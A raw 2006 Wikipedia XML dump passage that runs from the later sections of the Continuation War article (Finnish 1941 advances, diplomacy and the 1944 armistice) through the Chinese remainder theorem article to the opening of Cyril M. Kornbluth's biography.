During August 23 Finns had manged to advance from the east to 8km from Viipuri, but at the morning of August 24 Soviet 123.D and 115.D stated counteroffensive against Finnish forces east of Viipuri, propably trying to capture initiative and force Finns back to the northern side of River Vuoksi. Using heavy artillery fire Soviets managed to push defending Finns at places over 5km backwards, but they didn't manage to create breaches to the front, and when the reserve of 12.D, IR26, which was already moving to the place for troop rotation, arrived, the Soviets were pushed back to their starting positions next day. The Soviet counterattack failed to affect already ordered 12.D attack, which severed main railroad connection between Viipuri and Leningrad at August 25. 

At the morning of August 24 Finnish 8.D started crossing Bay of Viipuri with the forces of III/IR45 to Lihaniemi Peninsula which it secured during the same day. At the next day they continued their attack and managed to sever last railroad running from Viipuri during afternoon, and managed to enlage their beachhead few kilometers to every direction during next two days. The 12.D had continued their offensive southwest, and severed Viipuri-Leningrad main road at August 27. At August 28 STAVKA allowed 23.Army to withdraw from Viipuri and form new defensive line to approximately the same place where Mannerheim Line had been. The Soviet forces began immediate retreat and tried forcefully open the roads. At Ylä-Somme they managed to open one road at the evening of August 28, and during the night they managed to move several truck trains through, although under Finnish fire. The artillery fire caused several casualties, and little by little the road become more and more congested and finally only men at foot were able to pass. During the next two days Soviets tried repeatedly open the railroad line along the bay of Viipuri, but at the late evening of August 30 IR3/12.D reached the positions of the 8.D. The [[Battle of Porlampi|motti of Porlampi]] has closed. As the Soviet attempts to open the encirclement during the next day failed and as Finnish encirclement tightened, they made the final attempt to save men by abandoning all vehicles and trying to escape by feet through forests. The ring was already too tight and only small groups managed to escape at this last night. Next morning demoralized troops started to surrender. 9,000 men surrendered and 7,000 were buried there, but almost 12,000 men had managed to escape before the ring closed. Also the booty was abundant: 306 artillery pieces, 55 tanks, 673 trucks, almost 300 tracktors and around 4,500 horses.      

Also at along the main road and railroad between Viipuri and Leningrad the Soviet order to retreat and form a new defensive line along the old Mannerheim Line came too late, as the 12.D at the same day captured Leipäsuo and continued advance southwest, towards Lake Kuolemanjärvi, and southeast, along the railroad. The Soviet defences at main road at Summa held, but Finns encircled these defences by breaching the defences at Munasuo. The defending remains of Soviet 123.D managed to hold Finnish advance only few places and and continued withdrawing towards Leningrad. At the morning of August 30 12.D cut Koivisto-Leningrad railroad at Kuolemanjärvi and reached the Gulf of Finland during the same day. Also at Vammelsuu 12.D cut the railroad at the same evening, but failed to cut main road. The Gulf was reached also here next morning, and the attack continued east to Terijoki, which was captured August 31 and reached old border at River Rajajoki next day. The encircled Soviet forces at Koivisto retreated to the islands and Soviet fleet transferred them to Leningrad. Last defenders of Koivisto were evacuated November 1.

At the left side of 12.D from August 23 the 18.D started attacking southeast between Lake Muolaanjärvi and Vuoksi. By August 26 the first lake isthmuses were breached. Meanwhile first units of 2.D were relieving the forces of the 18.D from isthmus between Lake Kirkkojärvi and Lake Punnusjärvi and 10.D those from Lake Punnusjärvi to River Vuoksi. After the mottis at the northwestern shores of Lake Ladoga had been cleared, I Corps was moved to River Vuoksi where it took 10.D and 15.D to its command. The 18.D breached the second lake isthmuses August 27 and rested one day before continuing attack towards Kivennapa road crossing which it captured August 29. The attack continued towards old border which was reached August 31. Also the 2.D reached the old border at August 31. The 10.D had more troubles as Soviet 198.D had started its counterattack August 29. The Finnish attack started to gain speed during August 30, and also 15.D joined the attack from the other side of the River Vuoksi. Valkjärvi railroad endpoint was captured at August 31 and because of the threat of encirclement, the Soviet forces were ordered to withdraw from the souther side of River Vuoksi behind the old border. 15.D followed retreating Soviets closely and by September 2 old border had been reached everywhere.

At August 20, General W. Erfurth notified Mannerheim, that Field Marshall W. Keitel will send a letter where Finns were asked to attack Leningrad. Mannerheim explained practical difficulties to the proposal and presented the opposition of both political and military leadership to the issue. The government had decided beforehand, that Finland will not attack Leningrad, and only after the pressure of military leadership they accepted small advance across the old border to capture better defensive positions. Especially social democrats opposed crossing the border. When Keitel's letter came, Ryti and Mannerheim prepared negative answer together. At August 31 Erfurth contacted Mannerheim again and proposed that Finns should cancel the attack to East Karelia and instead attack Leningrad. Ryti and Mannerheim provided refusal again. At August 31 Mannerheim gave order, that attack will be stopped at the mouth of River Rajajoki-Ohta-line. The exact line between Ohta and Lake Ladoga would be ordered later, when Finns had reached the old border there. That would shorten the frontline without the need to attack Soviet fortifications north of Leningrad ([[KaUR]]). At this last phase Soviets had six infantry divisions and number of separate batallions and regiments defending Leningrad from the north, but all of them were half strength due to hard fighting with Finns. 

12.D had reached the target already at September 1, but elsewhere attack started at September 2. 18.D captured Mainila at the same day and Valkeasaari at next day. By September 7 both 18.D and 2.D had reached their targets between River Rajajoki and Ohta. The commander of I Corps, Colonel Mäkinen, ordered his troops to advance to the line Ohta-Lake Lempaalanjärvi-Old border at Lake Ladoga with an addition, that if strong defences were met, the offensive could be stopped there. At September 4 the attack begun, and at September 6 10.D managed to encircle and destroy Soviet IR941 at Kirjasalo. Finally at September 9 the ordered line was reached everywhere and Finnish forces moved to defensive.

=== Occupation of East Karelia ===
=== Advancement from Northern Finland ===
=== Political development ===
On [[July 10]], the Finnish army began a major offensive on the [[Karelian Isthmus]] and north of [[Lake Ladoga]]. Mannerheim's order of the day, the [[Sword scabbard declaration]], clearly states that the Finnish involvement was an offensive one.[http://www.mannerheim.fi/10_ylip/e_mtuppi.htm] By the end of August 1941, Finnish troops had reached the pre-war boundaries. The crossing of the pre-war borders led to tensions in the army, the cabinet, the parties of the parliament, and domestic opinion. Military expansionism might have gained popularity, but it was far from unanimously championed.

Also, international relations were strained &amp;mdash; notably with Britain and Sweden, whose governments in May and June had learned in confidence from Foreign Minister [[Witting]] that Finland had absolutely no plans for a military campaign coordinated with the Germans. Finland's preparations were said to be purely defensive.

Sweden's leading cabinet members had hoped to improve the relations with Nazi Germany through indirect support of Operation Barbarossa, mainly channelled through Finland. [[Per Albin Hansson|Prime Minister Hansson]] and [[Christian Günther|Foreign Minister Günther]] found however, that the political support in the [[National Unity Government]] and within the Social Democratic organizations turned out to be insufficient, particularly after Mannerheim's Sword Scabbard Declaration, and even more so after Finland within less than two months undeniably had begun a [[war of conquest]]. A tangible effect was that Finland became still more dependent on food and munitions from Germany.

The [[Commonwealth of Nations|Commonwealth]] put Finland under blockade and the British ambassador was withdrawn. On [[July 31]], [[1941]], British [[Royal Air Force|RAF]] made an air raid on the northern Finnish port of [[Petsamo]] [http://www.fleetairarmarchive.net/RollofHonour/Battlehonour_crewlists/Petsamo_Kirkenes_1941.html]. Damages were limited since the harbour was almost empty of ships. 

[[September 11]], the U.S. ambassador Arthur Schoenfeld was informed that the offensive on the Karelian Isthmus was halted on the pre-Winter War border (with a few straightened curves at the municipalities of Valkeasaari and Kirjasalo), and that &quot;under no conditions&quot; Finland would participate in an offensive against [[Saint Petersburg|Leningrad]], but would instead maintain static defence and wait for a political resolution. Witting stressed to Schoenfeld that Germany, however, should not hear of this.

On [[September 22]], a British note was presented (by Norway's ambassador Michelet) demanding the expulsion of German troops from Finland's territory and Finland's withdrawal from [[East Karelia]] to positions behind the pre-Winter War borders. Finland was threatened by a British declaration of war unless the demands were met. The declaration of war was exacted on Finland's Independence Day, [[December 6]]. 

In December 1941, the Finnish advance had reached [[River Svir]] (which connects the southern ends of [[Lake Ladoga]] and [[Lake Onega]] and marks the southern border of [[East Karelia]]). By the end of 1941, the front stabilized, and the Finns did not conduct major offensive operations for the following two and a half years. The fighting morale of the troops declined when it was realized that the war would not soon end.

It has been suggested that the execution of the prominent [[pacifism|pacifist]] leader [[Arndt Pekurinen]] in November 1941 was due to fear of army demoralization being exacerbated by such activism.

== International volunteers and support ==
Like in the [[Winter War]], Swedish volunteers were recruited. Until December, for guarding the Soviet naval base at [[Hanko]], that was then evacuated by sea, and the Swedish unit was officially disbanded. During the Continuation War, the volunteers signed for three&amp;ndash;six months of service. In all, over 1,600 fought for Finland, though only about 60 remained by the summer of 1944. About a third of the volunteers had been engaged already in the Winter War. Another significant group, about a fourth of the men, were Swedish officers on leave. 

There was also a ''[[Schutzstaffel|SS]]''-battalion of volunteers on the northern Finnish front 1942&amp;ndash;1944, that was recruited from [[Norway]], then under German occupation, and similarly some Danes.

About 3,400 Estonian volunteers also took part of the Continuation War.

== Diplomatic manoeuvres ==
Operation Barbarossa was planned as a ''[[blitzkrieg]]'' lasting a few weeks. British and US observers believed that the invasion would be concluded before August. In the autumn of 1941, this turned out to be wrong, and leading Finnish military officers started to mistrust Germany's capacity. German troops in Northern Finland faced circumstances they were not properly prepared for, and failed badly to reach their targets, most importantly [[Murmansk]]. Finland's strategy now changed. A separate peace with the Soviet Union was offered, but Germany's strength was too great. The idea that Finland had to continue the war while putting its own forces at the least possible danger gained increasing support, perhaps in the hopes that the Wehrmacht and the Red Army would wear each other down enough for negotiations to begin, or to at least get them out of the way of Finland's independent decisions. Some may also have still hoped for an eventual victory by Germany.

Finland's participation in the war brought major benefits to Nazi Germany. The Soviet fleet was blockaded in the [[Gulf of Finland]], so that the Baltic was freed for the training of German submarine crews as well as for German shipping, especially for the transport of the vital [[Swedish iron ore during World War II|iron ore from northern Sweden]], and [[Nickel deposits of Finland|nickel and rare metals]] needed in steel processing from the Petsamo area. The Finnish front secured the northern flank of the German [[Army Group North]] in the Baltic states. The sixteen Finnish divisions tied down numerous Soviet troops, put pressure on [[Saint Petersburg|Leningrad]] &amp;mdash; although Mannerheim refused to attack &amp;mdash; and threatened the Murmansk Railroad. Additionally, Sweden was further isolated and was increasingly pressured to comply with German and Finnish wishes, though with limited success.

Despite Finland's contributions to the German cause, the Western Allies had ambivalent feelings, torn between residual goodwill for Finland and the need to accommodate their vital ally, the Soviet Union. As a result, Britain declared war against Finland, but the United States did not. There was no combat between these countries and Finland, but Finnish sailors were interned overseas. In the United States, Finland was highly regarded, partly due to having continued to make payments on its World War I debt faithfully throughout the [[interbellum|inter-war period]].

The Allies often characterize Finland as one of the Axis Powers, although the term used in Finland is &quot;[[co-belligerence]] with Germany&quot;. Finland later also earned respect in the West for the strength of its democracy and its refusal to allow extension of Nazi [[Anti-Semitism|anti-Semitic]] practices in Finland. Finnish Jews served in the Finnish army, and Jews were not only tolerated in Finland[http://www.finemb.org.il/Historia.htm], but most Jewish refugees were granted asylum (only 8 of the more than 500 refugees were handed over to the Nazis). The field [[synagogue]] in [[Eastern Karelia]] was probably unique on the Axis side during the war. However, in the few cases Jewish officers from Finland's defence forces were awarded the German [[Iron Cross]], they declined. 

About 2,600&amp;ndash;2,800 Soviet prisoners of war were handed over to the Germans. Most of them (around 2,000) joined the [[Russian Liberation Army]]. The rest were mainly army officers and [[Political officer|political officers]] (and a handful of Jewish refugees), most of them dying in Nazi [[concentration camps]], while some were given to the [[Gestapo]] for interrogation. Sometimes these handovers were demanded in return of arms or food, and sometimes the Finns received Soviet prisoners of war in return. These were mainly Estonians and Karelians willing to join the Finnish army. These, as well as some volunteers from the occupied Eastern Karelia, formed the Kin Battalion (Finnish: ''&quot;Heimopataljoona&quot;''). At the end of the war, the USSR required that the members of the Tribe Battalion were to be handed over to the Soviet Union. Some managed to escape before or during the transport, but most of them were either sent to the [[Gulag]] camps or executed.

In 1941, even before the Continuation War, one battalion of Finnish volunteers joined the German [[Waffen-SS]] with silent approval of the Finnish government. It has been concluded that the battalion served as a token of Finnish commitment to cooperation with Nazi Germany. This battalion, named the ''[[Finnisches Freiwilligen Bataillon]]'' fought as part of [[SS Division Wiking|SS Division ''Wiking'']] in the [[Ukraine]] and [[Caucasus]]. The battalion was pulled back from the front in May 1943 and was transported to [[Tallinn]] where it was disbanded on [[July 11]]. The soldiers were then transferred into different units of the Finnish army.

== The end of the war ==
[[Image:Finnish areas ceded in 1944.png|thumb|300px|right|Areas ceded by Finland to the Soviet Union]]
Finland began to actively seek a way out of the war after the disastrous German defeat at [[Battle of Stalingrad|Stalingrad]] in January&amp;ndash;February [[1943]]. [[Edwin Linkomies]] formed a new cabinet with the peace process as the top priority. Negotiations were conducted intermittently in 1943&amp;ndash;44 between Finland and its representative [[Juho Kusti Paasikivi]] on the one side, and the Western Allies and the Soviet Union on the other, but no agreement was reached.

Instead, on [[June 9]], [[1944]], the Soviet Union opened a major offensive against Finnish positions on the Karelian Isthmus and in the Lake Ladoga area (it was timed to accompany [[D-Day]]). On the second day of the offensive, the Soviet forces broke through the Finnish lines, and in the succeeding days they made advances that appeared to threaten the survival of Finland. Soviet troops occupied [[Petrozavodsk]] on [[June 28]] [[1944]]. Before they retreated, Finns delivered food to people for two weeks. This is rare or even unequaled act in the war history.

Finland especially lacked modern anti-tank weaponry, which could stop heavy Soviet tanks, and German Foreign Minister [[Joachim von Ribbentrop]] offered them in exchange for a guarantee that Finland would not again seek a separate peace. On [[June 26]] President [[Risto Ryti]] gave [[Ryti-Ribbentrop Agreement|this guarantee as a personal undertaking]], which he intended to last for the remainder of his presidency. In addition to material deliveries, Hitler sent some assault gun brigades and a [[Luftwaffe]] fighter-bomber unit to temporarily support the most threatened defence sectors. 

With new supplies from Germany, the Finns were now equal to the crisis, and halted the Russians in early July 1944, after a retreat of about one hundred kilometres that brought them to approximately the same line of defence they had held at the end of Winter War, the VKT-line (for ''&quot;Viipuri&amp;ndash;Kuparsaari&amp;ndash;Taipale&quot;'' running from Vyborg to [[River Vuoksi]], and along the river to Lake Ladoga at [[Taipale]]), where the Soviet offensive was stopped in the [[Battle of Tali-Ihantala]], in spite of nearly a third of their military machine being concentrated against the Finns. Finland had already become a sideshow for the Soviet leadership, who now turned their attention to Poland and southeastern Europe. The Allies had already succeeded in their landing in France and were pushing towards Germany, and the Soviet leadership did not want to give them a free hand in Central Europe. Although the Finnish front was once again stabilized, the Finns were exhausted and wanted to get out of the war.

Mannerheim had repeatedly reminded the Germans that in case their troops in Estonia retreated, Finland would be forced to make peace even at very unfavourable terms. Soviet-occupied Estonia would have provided the enemy a favourable base for amphibious invasions and air attacks against Helsinki and other cities, and would have strangled Finnish access to the sea. When the Germans indeed withdrew, the Finnish desire to end the war increased. Perhaps realizing the validity of this point, initial German reaction to Finland's announcement of ambitions for a separate peace was limited to only verbal opposition.

President Ryti resigned, and Finland's military leader and national hero, [[Carl Gustaf Emil Mannerheim]], was extraordinarily appointed president by the parliament, accepting responsibility for ending the war.

On [[September 4]] the cease-fire ended military actions on the Finnish side. The Soviet Union ended hostilities exactly 24 hours after the Finns. An [[armistice]] was signed in Moscow on [[September 19]] between the Soviet Union and Finland. Finland had to make many limiting concessions: the Soviet Union regained the borders of 1940, with the addition of the [[Petsamo]] area; the [[Porkkala]] Peninsula (adjacent to Finland's capital [[Helsinki]]) was leased to the USSR as a naval base for fifty years (but returned in [[1956]]), and transit rights were granted; Finland's army was to demobilize in haste, and Finland was required to expel all German troops from its territory.  As the Germans refused to leave Finland voluntarily, the Finns had no choice but to fight their former supporters in the [[Lapland War]].

==Conclusion==
In retrospect the Continuation War can be seen as the result of a series of political miscalculations by the Finnish leadership in which Finland's martial abilities clearly outshone her diplomatic skills. However, many commentators also hold that Finland was a victim of bad luck in addition to any failings on its own part, being forced to make a choice in a situation when any of the available alternatives would result in being attacked by either side. It has been claimed that not joining the war with Germany against Soviet Union would almost certainly have lead to occupation attempts by either side of that great conflict, and thus Finland's involvement anyway.

It is also claimed that after the fall of the Soviet Union, it has become clear that Finland, maybe more by luck than by skill, happened to make the right choice after the Winter War by fervently seeking to reverse the German disinterest. This claim rests on the idea that Soviet occupation, and a fate surely worse than that of the other [[Border States]], would otherwise have been unavoidable.

The aged Field Marshal Mannerheim might have been responsible for a couple of misjudgements, for instance the [[Sword scabbard declaration]] in the Order of the Day of July 10, 1941, but at the end of the war he had earned a remarkable reputation among former foes and allies, in Finland as well as abroad, which to a considerable degree eased Finland's extrication from a potentially disastrous undertaking.

In any event, Finland's fate was no worse than any other country struck by the World War &amp;mdash; quite the contrary. Only 2,000 Finnish civilians were killed during World War II, and only relatively narrow border regions had been conquered by force. For nearly three years until [[June 20]], [[1944]], when Vyborg fell, not one major Finnish town was besieged or occupied. During the war there were three capital cities of belligerent European countries that were not occupied by force at some stage: [[London]], [[Moscow]] and [[Helsinki]]. Ultimately, Finland was successful in retaining independence, [[parliamentary democracy]] and [[market economy]].

After the war, Finland preserved her independence while adjusting [[Foreign relations of Finland|her foreign policy]] to avoid offence to the USSR, now the world's second [[superpower]], a concession which the Soviet government reciprocated by surrendering part of its gains from the postwar settlement and refraining from too obvious intrusions in Finland's domestic affairs. Finland also signed a pact of co-operation and mutual assistance that guaranteed that in the event of a war between the western powers and the Soviet Union, Finland would defend her territory and airspace against the western powers. To [[Moscow]], an independent Finland linked to her by a cooperation treaty was seemingly a price worth paying for keeping Sweden formally neutral in the [[Cold War]], a ''quid pro quo'' that for forty years safeguarded wider Soviet strategic interests in the region.

== Battles and operations==
* [[Operation Silberfuchs]] ([[1941]])
* [[Battle of Tali-Ihantala]] ([[1944]])

== See also ==
* [[British military history]]
* [[Co-belligerence]]
* [[Finlandization]]
* [[Finnish Waffen SS volunteers]]
* [[History of Finland]]
* [[History of Russia]]
* [[List of Finnish corps in the Continuation War]]
* [[List of Finnish divisions in the Continuation War]]
* [[List of Finnish wars]]
* [[Lotta Svärd]]
* [[Paasikivi doctrine]]
* [[Paasikivi-Kekkonen Line]]
* [[Salpalinja]]
* [[Volkhov Front]]
*[[Luftwaffe Nortern(Artic)detachment(Luftflotte 5)(Finland-Norway)]] 

== References ==
* {{cite book
 | author = Jokipii, Mauno
 | year = [[1987]]
 | title = Jatkosodan synty
 | publisher = [[Otava]]
 | id = ISBN 951-1-08799-1
 }}
* {{cite book
 | author = Seppinen, Ilkka
 | year = [[1983]]
 | title = Suomen Ulkomaankaupan ehdot 1939-1944
 | publisher = 
 | id = ISBN 951-9254-48-X
 }}
* {{cite book
 | author = Platonov, S.P. (editor)
 | year = [[1964]]
 | title = Битва за Ленинград
 | publisher = Voenizdat Ministerstva oborony SSSR
 | id = 
 }}
* {{cite book
 | author = Maanpuolustuskorkeakoulun Historian laitos (editor)
 | year = [[1994]]
 | title = Jatkosodan historia 1-6
 | publisher = [[WSOY]]
 | id =
 }}
* {{cite book
 | author = Leskinen, Jari &amp; Juutilainen, Antti  (editors)
 | year = [[2005]]
 | title = Jatkosodan pikkujättiläinen
 | publisher = [[WSOY]]
 | id = ISBN 951-0-28690-7
 }}

{{WWIITheatre}}

[[Category:Continuation War| ]]

[[cs:Pokračovací válka]]
[[de:Fortsetzungskrieg]]
[[fi:Jatkosota]]
[[ja:継続戦争]]
[[ko:제2차 소련-핀란드 전쟁]]
[[nl:Vervolgoorlog]]
[[nn:Finske framhaldskrigen]]
[[no:Den finske fortsettelseskrigen]]
[[pl:Wojna radziecko-fińska 1941-1944]]
[[ru:Война-продолжение]]
[[sv:Finska fortsättningskriget]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese remainder theorem</title>
    <id>7713</id>
    <revision>
      <id>41797830</id>
      <timestamp>2006-03-01T20:45:44Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>n_i not necessary positive</comment>
      <text xml:space="preserve">Several related results in [[number theory]] and [[abstract algebra]] are known under the name '''''Chinese remainder theorem'''''.

== Simultaneous congruences of integers ==

The original form of the theorem, contained in a [[third-century]] book by [[China|Chinese]] mathematician [[Sun Tzu (mathematician)|Sun Tzu]] and later republished in a [[1247]] book by [[Qin Jiushao]], is a statement about simultaneous congruences (see [[modular arithmetic]]). Suppose ''n''&lt;sub&gt;1&lt;/sub&gt;, ..., ''n''&lt;sub&gt;''k''&lt;/sub&gt; are [[integer|integers]] which are pairwise [[coprime]] (meaning [[greatest common divisor|gcd]]
(''n''&lt;sub&gt;''i''&lt;/sub&gt;, ''n''&lt;sub&gt;''j''&lt;/sub&gt;) = 1 whenever ''i'' &amp;ne; ''j''). Then, for any given integers ''a''&lt;sub&gt;1&lt;/sub&gt;, ..., ''a''&lt;sub&gt;''k''&lt;/sub&gt;, there exists an integer ''x'' solving the system of simultaneous congruences

:&lt;math&gt;x \equiv a_i \pmod{n_i} \quad\mathrm{for}\; i = 1, \ldots, k.&lt;/math&gt;

Furthermore, all solutions ''x'' to this system are congruent modulo the product ''n'' = ''n''&lt;sub&gt;1&lt;/sub&gt;...''n''&lt;sub&gt;''k''&lt;/sub&gt;.

A solution ''x'' can be found as follows. For each ''i'' the integers ''n&lt;sub&gt;i&lt;/sub&gt;'' and ''n''/''n&lt;sub&gt;i&lt;/sub&gt;'' are coprime, and using the [[extended Euclidean algorithm]] we can find integers ''r'' and ''s'' such that ''r n&lt;sub&gt;i&lt;/sub&gt;'' + ''s'' ''n''/''n&lt;sub&gt;i&lt;/sub&gt;'' = 1. If we set ''e&lt;sub&gt;i&lt;/sub&gt;'' = ''s'' ''n''/''n&lt;sub&gt;i&lt;/sub&gt;'', then we have

:&lt;math&gt;e_i \equiv 1 \pmod{n_i} \quad\mathrm{and}\quad
e_i \equiv 0 \pmod{n_j}&lt;/math&gt;

for ''j'' &amp;ne; ''i''.

One solution to the system of simultaneous congruences is therefore

:&lt;math&gt; x = \sum_{i=1}^k a_i e_i.\ &lt;/math&gt;

For example, consider the problem of finding an integer ''x'' such that

:&lt;math&gt;x \equiv 2 \pmod{3}, &lt;/math&gt;
:&lt;math&gt;x \equiv 3 \pmod{4}, &lt;/math&gt;
:&lt;math&gt;x \equiv 2 \pmod{5}. &lt;/math&gt;

Using the [[extended Euclidean algorithm]] for 3 and 4&amp;times;5 = 20, we find (-13) &amp;times; 3 + 2 &amp;times; 20 = 1, i.e. ''e''&lt;sub&gt;1&lt;/sub&gt; = 40. Using the Euclidean algorithm for 4 and 3&amp;times;5 = 15, we get (-11) &amp;times; 4 + 3 &amp;times; 15 = 1. Hence, ''e''&lt;sub&gt;2&lt;/sub&gt; = 45. Finally, using the Euclidean algorithm for 5 and 3&amp;times;4 = 12, we get 5 &amp;times; 5 + (-2) &amp;times; 12 = 1, meaning ''e''&lt;sub&gt;3&lt;/sub&gt; = -24. A solution ''x'' is therefore 2 &amp;times; 40 + 3 &amp;times; 45 + 2 &amp;times; (-24) = 167. All other solutions are congruent to 167 modulo 60, which means that they are all congruent to 47 modulo 60.

Sometimes, the simultaneous congruences can be solved even if the &lt;i&gt;n&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt;'s are not pairwise coprime. The precise criterion is as follows: a solution ''x'' exists if and only if ''a&lt;sub&gt;i&lt;/sub&gt;'' &amp;equiv; ''a&lt;sub&gt;j&lt;/sub&gt;'' ('''mod''' gcd(''n&lt;sub&gt;i&lt;/sub&gt;'', ''n&lt;sub&gt;j&lt;/sub&gt;'')) for all ''i'' and ''j''. All solutions ''x'' are congruent modulo the [[least common multiple]] of the ''n&lt;sub&gt;i&lt;/sub&gt;''.

The [[method of successive substitution]] can often yield solutions to simultaneous congruences, even when the moduli are not pairwise coprime.

== Statement for principal ideal domains ==

For a [[principal ideal domain]] ''R'' the Chinese remainder theorem takes the following form: If ''u''&lt;sub&gt;1&lt;/sub&gt;, ..., ''u&lt;sub&gt;k&lt;/sub&gt;'' are elements of ''R'' which are pairwise coprime, and ''u'' denotes the product ''u''&lt;sub&gt;1&lt;/sub&gt;...''u&lt;sub&gt;k&lt;/sub&gt;'', then the [[quotient ring]] ''R/uR'' and the [[product of rings|product ring]] ''R/u''&lt;sub&gt;1&lt;/sub&gt;''R'' x ... x ''R/u&lt;sub&gt;k&lt;/sub&gt;R'' are isomorphic via the [[ring homomorphism|isomorphism]]

:&lt;math&gt;f : R/uR \rightarrow R/u_1R \times \cdots \times
R/u_k R &lt;/math&gt;

such that

:&lt;math&gt;f(x +uR) = (x + u_1R, \ldots , x +u_kR) \quad\mbox{ for every } x\in R. &lt;/math&gt;

The inverse isomorphism can be constructed as follows. For each ''i'', the elements ''u&lt;sub&gt;i&lt;/sub&gt;'' and ''u/u&lt;sub&gt;i&lt;/sub&gt;'' are coprime, and therefore there exist elements ''r'' and ''s'' in ''R'' with

:&lt;math&gt;r u_i + s u/u_i = 1. &lt;/math&gt;

Set ''e&lt;sub&gt;i&lt;/sub&gt;'' = ''s u/u&lt;sub&gt;i&lt;/sub&gt;''. Then the inverse of ''f'' is the map

:&lt;math&gt;g : R/u_1R \times \cdots \times R/u_kR
\rightarrow R/uR &lt;/math&gt;

such that

:&lt;math&gt;g(a_1+u_1R,\ldots ,a_k+u_kR)=
\left( \sum_{i=1}^k a_i e_i \right) + uR \quad\mbox{ for all }a_1,\ldots,a_k\in R. &lt;/math&gt;

Note that this statement is a straightforward generalization of the above theorem about integer congruences: the ring '''Z''' of [[integer]]s is a principal ideal domain, the [[surjective|surjectivity]] of the map ''f'' shows that every system of congruences of the form
:&lt;math&gt;x \equiv a_i \pmod{u_i} \quad\mathrm{for}\; i = 1, \ldots, k&lt;/math&gt;
can be solved for ''x'', and the [[injective|injectivity]] of the map ''f'' shows that all the solutions ''x'' are congruent modulo ''u''.

== Statement for general rings ==

The general form of the Chinese remainder theorem, which implies all the statements given above, can be formulated for [[ring (algebra)|rings]] and (two-sided) [[ring ideal|ideals]]. If ''R'' is a ring and ''I''&lt;sub&gt;1&lt;/sub&gt;, ..., ''I&lt;sub&gt;k&lt;/sub&gt;'' are two-sided ideals of ''R'' which are pairwise [[coprime]] (meaning that ''I&lt;sub&gt;i&lt;/sub&gt;'' + ''I&lt;sub&gt;j&lt;/sub&gt;'' = ''R'' whenever ''i'' &amp;ne; ''j''), then the product ''I'' of these ideals is equal to their intersection, and the [[quotient ring]] ''R/I'' is isomorphic to the [[product of rings|product ring]] ''R''/''I''&lt;sub&gt;1&lt;/sub&gt; x ''R''/''I''&lt;sub&gt;2&lt;/sub&gt; x ... x ''R''/''I''&lt;sub&gt;''k''&lt;/sub&gt; via the [[ring homomorphism|isomorphism]]

:&lt;math&gt;f : R/I \rightarrow R/I_1 \times \cdots \times R/I_k &lt;/math&gt;

such that

:&lt;math&gt;f(x + I) = (x +I_1, \ldots , x+I_k) \quad\mbox{ for all } x\in R.&lt;/math&gt;

== Applications ==
In the [[RSA|RSA algorithm]] calculations are made modulo &lt;math&gt;n&lt;/math&gt;, where &lt;math&gt;n&lt;/math&gt; is a product of two primes &lt;math&gt;p&lt;/math&gt; and &lt;math&gt;q&lt;/math&gt;. Common sizes for &lt;math&gt;n&lt;/math&gt; are 1024, 2048 or 4096 [[bit]]s, making calculations very time-consuming. Using Chinese remaindering these calculations can be transported from the ring &lt;math&gt;\Bbb{Z}_n&lt;/math&gt; to the ring &lt;math&gt;\Bbb{Z}_p \times \Bbb{Z}_q&lt;/math&gt;. The sum of the bit sizes of &lt;math&gt;p&lt;/math&gt; and &lt;math&gt;q&lt;/math&gt; is the bit size of &lt;math&gt;n&lt;/math&gt;, making &lt;math&gt;p&lt;/math&gt; and &lt;math&gt;q&lt;/math&gt; considerably smaller than &lt;math&gt;n&lt;/math&gt;. This greatly simplifies calculations.

Another potential application of Chinese remainder theorem is for counting soldiers in an army. Via Chinese remainder theorem, the general has the soldiers quickly line up in groups of 2, 3, 5, 7, 11, and so on and counts the remaining soldiers that can't make complete groups.  After enough of these tests are made, the general can quickly calculate how many soldiers he has exactly; thus he has done a 3 hour headcount in all of 2 minutes. This fact, that a large number can be represented by a  small number of relatively small remainders, is also the core idea of [[residue number system]]s.

== See also ==
* [[Covering system]]
* [[Residue number system]]

==External links==
* [http://www.cut-the-knot.org/blue/chinese.shtml Chinese remainder theorem] at [[cut-the-knot]]

==References==
* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 2: ''Seminumerical Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89684-2. Section 4.3.2 (pp.286&amp;ndash;291), exercise 4.6.2&amp;ndash;3 (page 456).
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Section 31.5: The Chinese remainder theorem, pp.873&amp;ndash;876.

[[Category:Modular arithmetic]]
[[Category:Commutative algebra]]
[[Category:Mathematical theorems]]

[[de:Chinesischer Restsatz]]
[[fr:Théorème des restes chinois]]
[[he:משפט השאריות הסיני]]
[[id:Teorema sisa Cina]]
[[nl:Chinese reststelling]]
[[ja:中国の剰余定理]]
[[pl:Chińskie twierdzenie o resztach]]
[[ru:Китайская теорема об остатках]]
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[[es:Teorema chino del resto]]</text>
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    <title>Cyril Kornbluth</title>
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      <text xml:space="preserve">#REDIRECT [[Cyril M. Kornbluth]]
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    <title>Climate Change 1995</title>
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      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <comment>#REDIRECT [[Intergovernmental Panel on Climate Change]] (merging)</comment>
      <text xml:space="preserve">#REDIRECT [[Intergovernmental Panel on Climate Change]]</text>
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  </page>
  <page>
    <title>Cyril M. Kornbluth</title>
    <id>7716</id>
    <revision>
      <id>41596769</id>
      <timestamp>2006-02-28T11:22:31Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: nl</comment>
      <text xml:space="preserve">'''Cyril M. Kornbluth''' ([[July 23]], [[1923]] - [[March 21]], [[1958]] -- [[pen-name]]s: '''Cecil Corwin''', '''S.D. Gottesman''', '''Edward J. Bellin''', '''Kenneth Falconer''', '''Walter C. Davies''', '''Simon Eisner,''' '''Jordan Park''') was a [[science fiction]] [[author]] and a notable member of the [[Futurians]]. Kornbluth was born in [[New York City]]. 

Kornbluth served in the [[United States Army|US Army]] during [[World War II]] ([[European Theatre of World War II|European Theatre]]).  He received a [[Bronze Star Medal|Bronze Star]] for his service in the [[Battle of the Bulge]].  After his discharge, he returned to finish his education at the [[University of Chicago]], which had been interrupted by the war. 

